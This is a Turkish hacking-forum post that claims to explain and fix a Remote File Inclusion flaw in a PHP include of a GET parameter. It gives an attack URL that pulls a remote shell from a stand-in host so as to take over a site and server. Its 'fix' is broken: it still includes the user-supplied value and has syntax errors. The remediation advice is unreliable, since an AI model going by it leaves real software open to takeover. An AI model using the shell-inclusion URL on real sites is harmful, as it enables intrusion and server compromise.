Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı
#1
RFİ Açığını Fixleme 

Arkadaşlar bu konuda, Rfi web güvenlik açığının nasıl oluştuğunu ve fixlendigini göstereceğim.

RFİ Açığı, uzaktan dosya eklemeye yarar bizde zararlı kod yani shell enjekte ederek siteyi ve sunucuyu ele geçirebiliriz.


Ben yine doğaçlama olarak, senaryo üzerinden gideceğim.

Zafiyet, websitem/hack.php?hack= değerinde bulunmaktadır. Hemen hack.php dosyamizi aciyoruz ve include komutuna bakıyoruz.

include($_GET["hack")

Zafiyet, include komutunda gerçekleşir ve uzaktan dosya dâhil etmeye yarar. Burada hack diye bir değer açılmış, ama boş bir değer. Ucu açık bir değer. Biz buna uzaktan dosya dahil edebiliriz. 

websitem/hack.php?hack=http://shell.com/shell.txt 

Şeklinde shell dahil edebiliyoruz. 

Gelelim fixlemeye;

Az önceki hack değerinde tanımlama yoktu, içi boştu ve bizde dosya dâhil ediyorduk. 

Şimdi tanımlayalım;

include($_GET["hack")

Bu kodu siliyoruz böyle değiştiriyoruz;

$hack = $_GET;
include ($hack);

Evet degerimizi tanimladik. Ve zafiyet fixlenmis olacaktır.

Devamı geldiği taktirde ekleme yaparım
Beğenenler:
#2
Lütfen Başlıkları Küçük Yapınız ve Alıntı yaptığınız çok belli oluyor. Yazılar siyah kalmış. Notdefterine atın ordan buraya atın yazıları exciting

tşkler

Not => Değiştirildi.
www.deccal.org


Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  XSS Payloadları - Kodları - XSS Açıklı Siteler İçin CyberHacker 2 32 03-12-2016, Saat: 16:58
Son Yorum: CyberHacker
  Sql Açıklı Siteleri Bulma Programları H4Sec 258 13,605 03-11-2016, Saat: 20:54
Son Yorum: SeraF
  Açıklı Site Bulucu Dork! 2016 Serkan Demir 0 68 23-10-2016, Saat: 16:35
Son Yorum: Serkan Demir
  Sql Injection Açıklı Siteler | '[D3F@C4R] | Cyberizm.Org '[D3F@C4R] 61 4,115 17-08-2016, Saat: 16:57
Son Yorum: DeXoNIK9
  XSS Açıklı Sistemleri Düzeltme Sorusunun Cevabı CaLVINaToR 1 116 01-08-2016, Saat: 14:25
Son Yorum: KingSkrupellos
Anahtar Kelimeler

RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı indir, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Videosu, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Online izle, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Bedava indir, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Yükle, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Hakkında, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Nedir, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Free indir, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Oyunu, RFI Açıklı Sistemleri Düzeltme Sorusunun Cevabı Download


1 Ziyaretçi